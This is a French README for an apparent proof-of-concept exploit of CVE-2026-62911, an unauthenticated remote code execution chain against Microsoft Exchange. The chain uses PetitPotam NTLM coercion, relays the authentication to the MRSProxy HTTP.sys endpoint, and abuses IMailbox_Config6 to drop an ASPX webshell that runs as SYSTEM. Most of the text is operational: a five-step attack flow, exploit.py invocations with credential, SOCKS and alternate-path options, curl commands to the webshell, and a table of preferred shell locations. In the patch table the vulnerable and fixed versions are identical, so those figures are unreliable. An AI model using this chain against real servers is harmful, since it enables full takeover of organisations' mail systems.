
Exploit de preuve de concept pour CVE-2026-62911 : RCE sans authentification préalable sur Microsoft Exchange via relais NTLM vers MRSProxy, écriture d'un webshell ASPX pour l'exécution de commandes en tant que SYSTEM.
RCE sans authentification sur Microsoft Exchange Server. Aucun identifiant requis.
Orange Tsai (DEVCORE) a utilisé cette faille lors du Pwn2Own Berlin 2026 dans le cadre d'une chaîne de 3 bugs. Prix de 200 000 $, prise de contrôle totale en tant que SYSTEM.
Exchange expose MailboxReplicationProxyService (MRSProxy) sur deux chemins. L'un d'eux repose sur HTTP.sys sans protection étendue :
| Chemin | Hébergé par | Protection étendue |
|---|
/EWS/MRSProxy.svc | IIS | Oui. Sûr. |
/Microsoft.Exchange.MailboxReplicationService.ProxyService | HTTP.sys | Non. Cible de relais. |
Le point de terminaison HTTP.sys accepte l'authentification Negotiate mais ne vérifie jamais les liaisons de canal (channel bindings). Vous y relaiez le hash d'un compte machine, et Exchange vous traite comme cette machine. Les comptes machines disposent de ms-Exch-EPI-Token-Serialization par défaut, le service WCF accorde donc un accès total.
Une fois à l'intérieur, IMailbox_Config6() prend un paramètre filePath. PstDestinationMailbox.ConfigPst() écrit le chemin que vous lui fournissez, quel qu'il soit. Aucune vérification d'extension. Pointez-le vers un répertoire IIS, appelez IMailbox_Connect(), et un fichier atterrit sur le disque. Faites de ce fichier un webshell ASPX. Terminé.
<!-- MSExchangeMailboxReplication.exe.config -->
<binding name="MrsProxyHttpsBinding" receiveTimeout="00:22:00">
<httpsTransport authenticationScheme="Negotiate"
maxReceivedMessageSize="100000000" />
<!-- no extendedProtectionPolicy — that's the bug -->
</binding>
[ServiceContract(SessionMode = SessionMode.Required)]
interface IMailboxReplicationProxyService
{
void ExchangeVersionInformation(
VersionInformation clientVersion,
out VersionInformation serverVersion);
long IMailbox_Config6(
Guid reservationId, Guid primaryMailboxGuid, Guid physicalMailboxGuid,
string filePath, // attacker-controlled, no validation
byte[] partitionHint, Guid mdbGuid, string mdbName,
MailboxType mbxType, int proxyControlFlags, int localMailboxFlags);
void IMailbox_Connect(long mailboxHandle);
// calls PSTSession.Open() — writes file at filePath
}
| Produit | Vulnérable avant | Corrigé | KB |
|---|---|---|---|
| Exchange 2016 CU23 | 15.1.2507.72 | 15.1.2507.72 | KB5121576 |
| Exchange 2019 CU14 | 15.2.1544.43 | 15.2.1544.43 | KB5121575 |
| Exchange 2019 CU15 | 15.2.1748.48 | 15.2.1748.48 | KB5121574 |
| Exchange SE RTM | 15.2.2562.45 | 15.2.2562.45 | KB5121573 |
Exchange 2016 est arrivé en fin de vie en octobre 2025. Le correctif d'août 2026 n'est distribué que via les Extended Security Updates (ESU). Si l'organisation n'a pas acheté d'ESU, il n'y a pas de correctif.
Attacker EX02 (trigger) EX01 (target)
│ │ │
│── PetitPotam (MS-EFSR) ──▶│ │
│ │ │
│◀── NTLM auth (EX02$) ─────│ │
│ │ │
│── relay NTLM ────────────────────────────────────▶│
│ (to MRSProxy HTTP.sys) │
│ │
│── IMailbox_Config6(path=shell.aspx) ─────────────▶│
│── IMailbox_Connect() ────────────────────────────▶│
│ │ file written
│ │
│── GET /aspnet_client/shell.aspx?cmd=whoami ──────▶│
│◀── nt authority\system ────────────────────────────│
Cinq étapes :
Déclenchez MS-EFSR (EfsRpcOpenFileRaw) sur EX02. Il s'authentifie auprès de vous avec son compte machine. PetitPotam fonctionne sans authentification contre un Exchange non corrigé.
Votre écouteur SMB récupère la négociation NTLM de EX02$.
Transmettez-la en HTTPS au MRSProxy d'EX01. Le point de terminaison ne vérifie pas l'EPA, le relais aboutit donc. Les comptes machines disposent déjà du droit de sérialisation Exchange, l'autorisation est donc accordée.
Envoyez les appels WCF : IMailbox_Config6 avec un chemin comme C:\inetpub\wwwroot\aspnet_client\shell.aspx, puis IMailbox_Connect. Exchange écrit le fichier.
Accédez au webshell. Vous êtes SYSTEM.
Installer les dépendances :
pip install impacket pysocks
Vérifier si MRSProxy est exposé :
python3 exploit.py --check-only \
-t 192.168.1.10 \
-e 192.168.1.11 \
-l 192.168.1.100
Vous devez voir Microsoft-HTTPAPI/2.0 avec Negotiate dans la réponse 401. Cela confirme que le point de terminaison HTTP.sys est actif et que l'EPA est absente.
Lancer l'exploit :
python3 exploit.py \
-t 192.168.1.10 \
-e 192.168.1.11 \
-l 192.168.1.100
Si PetitPotam nécessite une authentification sur votre cible :
python3 exploit.py \
-t 192.168.1.10 \
-e 192.168.1.11 \
-l 192.168.1.100 \
-u jsmith -p 'P@ssw0rd!' -d CONTOSO.COM
Via un tunnel SOCKS :
python3 exploit.py \
-t 192.168.1.10 \
-e 192.168.1.11 \
-l 192.168.1.100 \
--socks 127.0.0.1 --socks-port 10800
Choisir un autre emplacement d'écriture :
python3 exploit.py \
-t 192.168.1.10 \
-e 192.168.1.11 \
-l 192.168.1.100 \
--webshell-path 'C:\Program Files\Microsoft\Exchange Server\V15\FrontEnd\HttpProxy\owa\auth\x.aspx' \
--webshell-url '/owa/auth/x.aspx'
Vérifier que le shell a bien été écrit :
python3 exploit.py --verify-only \
-t 192.168.1.10 \
--webshell-url '/aspnet_client/system_web/shell.aspx'
L'utiliser :
curl -sk "https://192.168.1.10/aspnet_client/system_web/shell.aspx?cmd=whoami+/all"
curl -sk "https://192.168.1.10/aspnet_client/system_web/shell.aspx?cmd=ipconfig+/all"
| Chemin disque | URL | Pourquoi |
|---|---|---|
C:\inetpub\wwwroot\aspnet_client\system_web\shell.aspx | /aspnet_client/system_web/shell.aspx | Dossier des scripts clients IIS par défaut. Généralement accessible en écriture, sert les fichiers ASPX. |
C:\inetpub\wwwroot\aspnet_client\shell.aspx | /aspnet_client/shell.aspx | Identique, plus court. |
...\V15\FrontEnd\HttpProxy\owa\auth\shell.aspx | /owa/auth/shell.aspx | Dossier d'authentification OWA. |
...\V15\FrontEnd\HttpProxy\ecp\auth\shell.aspx | /ecp/auth/shell.aspx | Dossier d'authentification ECP. |
Réservé aux tests autorisés. Obtenez une autorisation écrite avant d'exécuter ceci contre quoi que ce soit.